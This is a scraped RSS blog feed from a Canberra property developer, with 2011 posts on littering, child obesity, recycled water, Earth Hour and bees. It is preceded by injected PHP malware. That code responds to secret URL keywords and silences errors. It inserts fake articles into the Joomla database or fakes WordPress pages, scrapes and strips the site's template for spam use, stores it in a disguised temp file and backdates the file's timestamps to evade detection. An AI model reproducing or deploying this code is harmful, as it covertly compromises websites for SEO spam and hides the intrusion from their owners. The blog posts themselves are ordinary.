if (strpos($_SERVER['REQUEST_URI'], 'saveyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (file_get_contents($tpl_path) > 0) { die('Success!'); } $context = stream_context_create(array( 'http' => array('ignore_errors' => true), )); $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/?gimmeyourfuckingtemplate', false, $context); if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate', false, $context); } if ( !preg_match('/thefuckingtitle\d+/', $tpl) && !preg_match('/thefuckingcontent\d+/', $tpl) && (strpos($tpl, '[TITLE]') === false) && (strpos($tpl, '[CONTENT]') === false) ) { $tpl = file_get_contents('http://'.$_SERVER['HTTP_HOST'].'/gimmeyourfuckingtemplate/', false, $context); } if ( preg_match('/thefuckingtitle\d+/', $tpl) || preg_match('/thefuckingcontent\d+/', $tpl) || (strpos($tpl, '[TITLE]') !== false) || (strpos($tpl, '[CONTENT]') !== false) ) { $tpl = str_replace('http://[PAGE_URL]', '[PAGE_URL]', $tpl); $tpl = preg_replace('#]+?alternate[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?archives[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bookmark[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?external[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?first[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?help[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?last[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?license[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?next[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?nofollow[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?noreferrer[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?pingback[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prefetch[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?prev[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?search[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?sidebar[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?up[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?canonical[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?robots[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?charset[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?content-type[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?og:[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?viewport[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?keywords[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?description[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?google[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?yandex[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?bing[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?slurp[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?refresh[^>]+?>#is', '', $tpl); $tpl = preg_replace('#]+?referer[^>]+?>#is', '', $tpl); $tpl = preg_replace('##is', '', $tpl); $tpl = preg_replace('#http://www.google-analytics.com/#is', 'http://'.$_SERVER['HTTP_HOST'].'/', $tpl); $tpl = preg_replace('#]*>[^<]*?#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingtitle\d+#is', '[TITLE]', $tpl); $tpl = preg_replace('#thefuckingcontent\d+#is', '[CONTENT]', $tpl); $tpl = preg_replace('#


#is', '[CONTENT]', $tpl); $new_tags = ' '; $tpl = preg_replace('##is', $new_tags.'', $tpl); } $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); $tpl_path = sys_get_temp_dir()."/SESS_4f2afc9c4099ee1f39c9f551123e54bd"; if (!empty($tpl) && file_put_contents($tpl_path, $tpl)) { echo 'Success!'; } else { echo 'failed'; } touch($tpl_path, time() - mt_rand(60*60*24*30, 60*60*24*365)); touch(dirname($tpl_path), time() - mt_rand(60*60*24*30, 60*60*24*365)); exit; } if (strpos($_SERVER['REQUEST_URI'], 'gimmeyourfuckingtemplate') !== false) { error_reporting(0); ini_set('display_errors', 0); set_time_limit(0); $localpath=getenv("SCRIPT_NAME");$absolutepath=getenv("SCRIPT_FILENAME");$root_path=substr($absolutepath,0,strpos($absolutepath,$localpath)); if (is_dir($root_path.'/libraries/joomla/application/')) { $alias = 'fucking-alias-is-here'.mt_rand(1, 10000000000); $database = JFactory::getDBO(); $item = new stdClass; $item->id = null; $item->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $item->introtext = ''; $item->fulltext = 'thefuckingcontent'.mt_rand(1, 10000000000); $item->state = 1; $item->access = 1; $item->created_by = 62; $item->created = '2011-11-11 11:11:11'; $item->publish_up = '2011-11-11 11:11:11'; $item->alias = $alias; if (!$database->insertObject('#__content', $item, 'id')) { echo $database->stderr(); } $url = 'http://'.$_SERVER['HTTP_HOST'].'/index.php?option=com_content&view=article&id='.$item->id; $data = file_get_contents($url); $data = preg_replace('#[\'"][^\'"]+?'.$alias.'[^\'"]+?[\'"]#is', '"[PAGE_URL]"', $data); $data = preg_replace('#Friday, 11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011 11:11#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11 November 2011#is', '[DATE]', $data); $data = preg_replace('#11.11.2011#is', '[DATE]', $data); $data = preg_replace('#2011-11-11#is', '[DATE]', $data); $data = preg_replace('#2011.11.11#is', '[DATE]', $data); echo $data; exit; } if (is_dir($root_path.'/wp-admin/includes/')) { if (!class_exists('THEVirtualPage')) { class THEVirtualPage { private $slug = NULL; private $title = NULL; private $content = NULL; private $author = NULL; private $date = NULL; private $type = NULL; public function __construct($args) { $this->slug = 'slug'; $this->title = 'thefuckingtitle'.mt_rand(1, 10000000000); $this->content = 'thefuckingcontent'.mt_rand(1, 10000000000); $this->author = 1; $this->date = current_time('mysql'); $this->dategmt = current_time('mysql', 1); $this->type = 'page'; add_filter('the_posts', array(&$this, '_virtualPage')); } // filter to create virtual page content public function _virtualPage($posts) { global $wp, $wp_query; //create a fake post intance $post = new stdClass; // fill properties of $post with everything a page in the database would have $post->ID = "-1"; // use an illegal value for page ID $post->post_author = $this->author; // post author id $post->post_date = $this->date; // date of post $post->post_date_gmt = $this->dategmt; $post->post_content = $this->content; $post->post_title = $this->title; $post->post_excerpt = ''; $post->post_status = 'publish'; $post->comment_status = 'closed'; // mark as closed for comments, since page doesn't exist $post->ping_status = 'closed'; // mark as closed for pings, since page doesn't exist $post->post_password = ''; // no password $post->post_name = $this->slug; $post->to_ping = ''; $post->pinged = ''; $post->modified = $post->post_date; $post->modified_gmt = $post->post_date_gmt; $post->post_content_filtered = ''; $post->post_parent = 0; $post->guid = get_home_url('/' . $this->slug); $post->menu_order = 0; $post->post_type = $this->type; $post->post_mime_type = ''; $post->comment_count = 0; // set filter results $posts = array($post); // reset wp_query properties to simulate a found page $wp_query->is_page = TRUE; $wp_query->is_singular = TRUE; $wp_query->is_home = FALSE; $wp_query->is_archive = FALSE; $wp_query->is_category = FALSE; unset($wp_query->query['error']); $wp_query->query_vars['error'] = ''; $wp_query->is_404 = FALSE; return ($posts); } } } function _create_virtual() { $args = array('slug' => 'slug', 'title' => '', 'content' => '' ); $pg = new THEVirtualPage($args); } function change_wp_44_title( $title ) { global $data; $title['title'] = 'thefuckingtitle'.mt_rand(1, 10000000000); $title['page'] = ''; $title['tagline'] = ''; $title['site'] = ''; return $title; } function change_wp_40_title( $title ) { return 'thefuckingtitle'.mt_rand(1, 10000000000); } function _change_page_url( ) { return '[PAGE_URL]'; } add_filter( 'the_permalink', '_change_page_url'); add_action('init', '_create_virtual'); add_filter( 'document_title_parts', 'change_wp_44_title' ); add_filter( 'wp_title', 'change_wp_40_title' ); } } blog Rock Development Group, Property Developers, Canberra Australia http://www.rockdevelopmentgroup.com.au Sat, 22 Oct 2016 15:19:28 +0000 en-gb Caring for the environment - it's the simple things http://www.rockdevelopmentgroup.com.au/blog/item/caring-for-the-environment-its-the-simple-things http://www.rockdevelopmentgroup.com.au/blog/item/caring-for-the-environment-its-the-simple-things

Caring for the environment is such a big issue and at the moment it’s so controversial. With things like the carbon tax and the solar feed in tariff in the ACT, it seems like caring for the environment is a hard thing to do.

Yes businesses must take big steps to help care for the environment, but it’s the simple things we can all do that make a big difference. I’m talking about stop littering and start recycling. It’s really not that hard to put something in the bin and almost everywhere you go where there is a waste bin, there’s a recycling bin not far away.

I was very surprised to read in the Canberra Times that at the ACT Sustainability Awards the Dame Phyllis Frost Litter Prevention Award was withheld because no community, business or government organisation was worthy of the prize.

I for one applaud the decision – there’s no point giving an award for no reason. What surprises me is that littering is still an issue.

With everything we know about the fragile environment we live in, the years of campaigns and Clean Up Australia Day’s we have been exposed to, I’m surprised that people are still so lazy that they throw their waste whereever convenient, rather than doing what’s right.

There’s really no excuse for littering and it’s one of the easiest ways to care for the environment.

The only positive in the Canberra Times article was that the ACT was revealed as the second cleanest state or territory in the Country. On average, the ACT recorded 51 pieces of litter for every 1000sqm. However, the national average of litter items per 1000sqm increased from 63 to 66 items from 2008-09 to 2009-10.

Do the right thing, put in the bin!

Wed, 20 Jul 2011 23:03:07 +0000
Worrying Statistics about our Children http://www.rockdevelopmentgroup.com.au/blog/item/worrying-statistics-about-our-children http://www.rockdevelopmentgroup.com.au/blog/item/worrying-statistics-about-our-children

It seems like it’s one step forward and two steps backwards in regards to the state of health of Australia’s children. One day I read a positive report saying our kids are getting healthier, but for every good story I hear, there’s at least two bad ones.

Australia’s largest child obesity clinic is warning that cases of Australian children with obesity are still very much on the rise. A diet of fast food, soft drinks, lollies and school tuck shop meals is to blame.

In the report by the Herald Sun, Dr Matt Sabin at the Royal Children’s Hospital in Melbourne said they often see three year olds weighing more than 35kg and teenagers exceeding 100kgs.

"Five years ago, one child every three or four months was being diagnosed with type 2 diabetes, now it's one every three or four weeks," Dr Sabin said.

As parent’s we need to do more to ensure our kids have healthier diets and live more active lives. It’s often much easier after a hard day at work to provide the family with a pre prepared meal, but in the long run it does much more harm than good.

Freshly prepared meals are not only better for you, they are also cheaper. There are a lot of really healthy meals that are quick and easy to prepare. With the popularity of television shows such as Masterchef – you might find it easier to convince your kids to help you out in the kitchen.

Healthy diet is just one part of healthy living – we also need to encourage our kids to be active. Whether it’s walking to the bus stop instead of getting a lift, or going outside to play instead of indoors on computers – little bursts of physical activity can make a big difference.

As the old saying goes, ‘the children are our future.’

Wed, 20 Jul 2011 23:02:10 +0000
South Australians Move to Embrace Recycled Water http://www.rockdevelopmentgroup.com.au/blog/item/south-australians-move-to-embrace-recycled-water http://www.rockdevelopmentgroup.com.au/blog/item/south-australians-move-to-embrace-recycled-water

I was pleased to read on ABC about a new scheme in Adelaide, which promotes the use of recycled water to flush toilets, water gardens and wash cars.

The scheme offers great benefits to both the environment and consumers. The program will help recycle up to 1.6 billion litres of water annually and those who participate in the program will be offered discounts on their water bills.

For a country that is so often struggling to cope with droughts – I think this is a fantastic idea. For those of us in the ACT, we certainly know what it’s like to struggle through water restrictions. Recycling water makes sense, especially for tasks such as watering gardens, flushing toilets and cleaning cars.

loop will boast a comprehensive grey and black water recycling system, as well as a comprehensive rainwater capturing system.

Water is a precious resource – we must find ways to ensure it is not wasted!

Tue, 19 Jul 2011 02:36:37 +0000
Teen Chefs Master Class http://www.rockdevelopmentgroup.com.au/blog/item/teen-chefs-master-class http://www.rockdevelopmentgroup.com.au/blog/item/teen-chefs-master-class

Teen Chefs has been created to show teenagers how they can accomplish a healthy and active lifestyle.  After the success of Teen Chef 2010, there was an increase in entries for Teen Chef 2011. Over eight schools were nominated with entries closing 31 May 2011. Entries consist of an entrée, main and dessert with no more than four students to a team.

After much deliberation, Chef Tom Moore (from Knead Patisserie) narrowed it down to three schools and four teams.

The finalists will be coming in this Friday 10 June 2011 to perform a cooking class with Tom. Tom will be showing the students a fourth dish, which they will have to then go home and memorise for the final cook off. This year, the finals will take place in Cooking Coordinates on 8 July 2011.

The program is seeing more and more success with The Canberra Times Food and Wine Guide running publications leading up to the event. Next year, we plan to make the program better than ever and encourage all stores to participate.

Thu, 09 Jun 2011 07:01:16 +0000
Unplug and Play – A good initiative http://www.rockdevelopmentgroup.com.au/blog/item/unplug-and-play-a-good-initiative http://www.rockdevelopmentgroup.com.au/blog/item/unplug-and-play-a-good-initiative

I was pleased to see our new Chief Minister, Katy Gallagher launch a new campaign ‘Unplug and Play’ recently.

I’m a strong believer in educating children to be more active instead of watching TV or playing video games. This is why we conceived the Healthy Hoops 4 Active Kids program, teaching kids how to eat healthily and exercise more.

What’s pleasing about the Chief Minister’s new initiative is that it’s directed towards parents. It’s up to us as parents, not just teachers in schools to help make sure children get enough exercise.

The Chief Minister said at the launch of the program that incidence of obesity in children has doubled since 1995. Their research indicates that kids need at least 60 minutes of moderate to vigorous physical activity each day for good health. Most children in the ACT spend more than two hours each day watching TV or playing video games rather than physical activity.

For more information about Unplug and Play, visit www.unplugandplay.act.gov.au 
Thu, 02 Jun 2011 23:07:32 +0000
Heart Healthy Walnuts http://www.rockdevelopmentgroup.com.au/blog/item/heart-healthy-walnuts http://www.rockdevelopmentgroup.com.au/blog/item/heart-healthy-walnuts

Looking for a healthy snack? Look no further than the walnut. It tastes great and is very good for you. It has twice the antioxidant content of any nut.

This is just one of many foods out there that are excellent at keeping your body in strong condition, and it would be very easy to incorporate them into your diet.

A study conducted in the United States determined people who consume the recommended amount of Walnut each day reduce the risk of heart disease, lowered the possibility of getting diabetes and certain cancer types. Those in the study did not gain weight from adding Walnuts to their diet.

This is just one simple Snack. Add in some antioxidant-rich citrus and fruit, a little bit of fun physical activity and some knowledge about more healthy foods and lifestyle choices, and you have equipped yourself with the foundation you need to have a happy, healthy life.

Simple things like this equip youth with the knowledge of how important it is to eat healthy and take some time to go out and play, get out there and get fit. We have put in a great effort to develop programs that contribute to our youth’s wellbeing and, although a tough nut to crack, we are making inroads to succeeding in this endeavour.

Wed, 04 May 2011 00:40:46 +0000
Childhood Obesity slims down in Australia http://www.rockdevelopmentgroup.com.au/blog/item/childhood-obesity-slims-down-in-australia http://www.rockdevelopmentgroup.com.au/blog/item/childhood-obesity-slims-down-in-australia

I was pleased to read a study by the World Health Organisation which claimed childhood obesity in Australia has begun to decline in some areas of the community.

The cause of the reversal has yet to be fully assessed, however the study leader, Professor Boyd Swinburn believes the public perception of childhood obesity has gradually changed:

“There has been a lot of media awareness of childhood obesity over the last decade and there has also been a range of initiatives promoting good nutrition and active play in early childhood settings...” (Canberra Times, 28 March).

The impact of these findings is nothing short of extra-ordinary for us and we know the fight against childhood obesity is not over.

Our initiative, the Healthy Hoops 4 Active Kids is designed to educate children on the advantages of healthy living and physical activity has helped to bring this change about.

We must continue to service the community by creating sustainable and physically active lifestyles, because as the title of the article says, the battle is not yet over. But this leads to an even greater opportunity, to see Canberra become the leader in cutting Australian obesity levels, and continue to protect our youth.

Wed, 04 May 2011 00:37:26 +0000
Another successful Earth Hour http://www.rockdevelopmentgroup.com.au/blog/item/another-successful-earth-hour http://www.rockdevelopmentgroup.com.au/blog/item/another-successful-earth-hour

ee logo

Canberrans led the way again in adopting sustainable practices, with more than 58% of people participating in Earth Hour this year. Electricity use in the ACT dropped eight percent during the event, that’s the equivalent green house gas reduction of taking seven cars off the road for a year.

This year also saw the first ever Earth Hour Awards. Congratulations to the winners:

  • Young Panda Award - Hanan Hassan & Julia Lin, PLC Junior School (Pymble, NSW)
  • Workplace Champions Award – Benjamin Grimshaw, Hilton Hotel Sydney
  • Future Makers Award – Lloyd Linson-Smith, Oakley QLD
  • Lifetime Achievement Award – Burr Dodd and Lolo Houbein for the Trees for Life program
  • Education Award – Cafe Lawrence, Green Renters, Brunswick VIC
  • People’s Choice Award – The Point Preschool, Oyster Bay NSW
Mon, 04 Apr 2011 05:29:19 +0000
The smallest change can have drastic effects http://www.rockdevelopmentgroup.com.au/blog/item/the-smallest-change-can-have-drastic-effects http://www.rockdevelopmentgroup.com.au/blog/item/the-smallest-change-can-have-drastic-effects

The world is such as delicate balancing act, just like the old saying goes ‘the flap of a butterfly’s wings has the potential to cause a tornado on the other side of the world.’ While that’s an exaggeration, the environment has many underappreciated aspects with the potential to cause catastrophe. Take, bees for example.

The United Nations has revealed that honey-bee numbers are declining globally, with the worst cases occurring in Africa, Europe and the US. Colony loss is an incredibly important issue, and not only because of the honey these bee’s produce.

Bees are also a crop pollinator, and without these little helpers around, farmers would report staggering losses to their industry. 90 per cent of the world’s food is produced from cropping that relies on pollinators. It’s not difficult to imagine the implications if we were to lose the honey-bee’s extraordinary capabilities.

The report identifies factors that have led to the decline of honey-bee populations, and these are mainly caused by man-made activities. Decline in flowering plants, the introduction of insecticides and pests to ‘manage’ crops are all facets that must be addressed if we are to nip this in the bud.

Archim Steiner, Under-Secretary General and Executive Director of the UNEP made a remark which really caught my attention, and very soundly identified the key messages in loop’s philosophy.

“Human beings have fabricated the illusion that in the 21st Century they have the technological prowess to be independent of nature. Bees underline the reality that we are more, not less, dependant on nature’s services in a world of close to seven billion people.”

loop’s core philosophy is to lessen our impact on the natural environment. We want to equip a community to play a more active and sustainable role. I want to live in a world with bees, and I believe most people do too.

Thu, 24 Mar 2011 23:33:43 +0000
Making dense, it’s for the environment! http://www.rockdevelopmentgroup.com.au/blog/item/making-dense-its-for-the-environment http://www.rockdevelopmentgroup.com.au/blog/item/making-dense-its-for-the-environment

I was pleased to see the Green Building Council of Australia quoted in the Canberra Times, saying that to be more sustainable we must start building on what we already have, instead of clearing out our surrounding bushlands.

One of the most poignant remarks came from chief executive Romilly Madew, who states that we already have as much land as London does, and that place holds almost 7 million people! This proves that instead of locating ourselves further away from inner-Canberra, we should begin to increase our population’s density, moving closer to markets and business districts.

By combining measurable standards of sustainability with densification, we can ensure that we won’t destroy our city’s bush capital image. We may also become the leaders in Australia for sustainable living, a title worth working towards.

loop is committed to moving towards sustainable goals. We already generate our own power from renewable sources, and we recycle all of our materials. Nothing is wasted. We are engaging the Belconnen community to lead a more active and sustainable lifestyle, while empowering them with close-by services.

Thu, 24 Mar 2011 23:28:57 +0000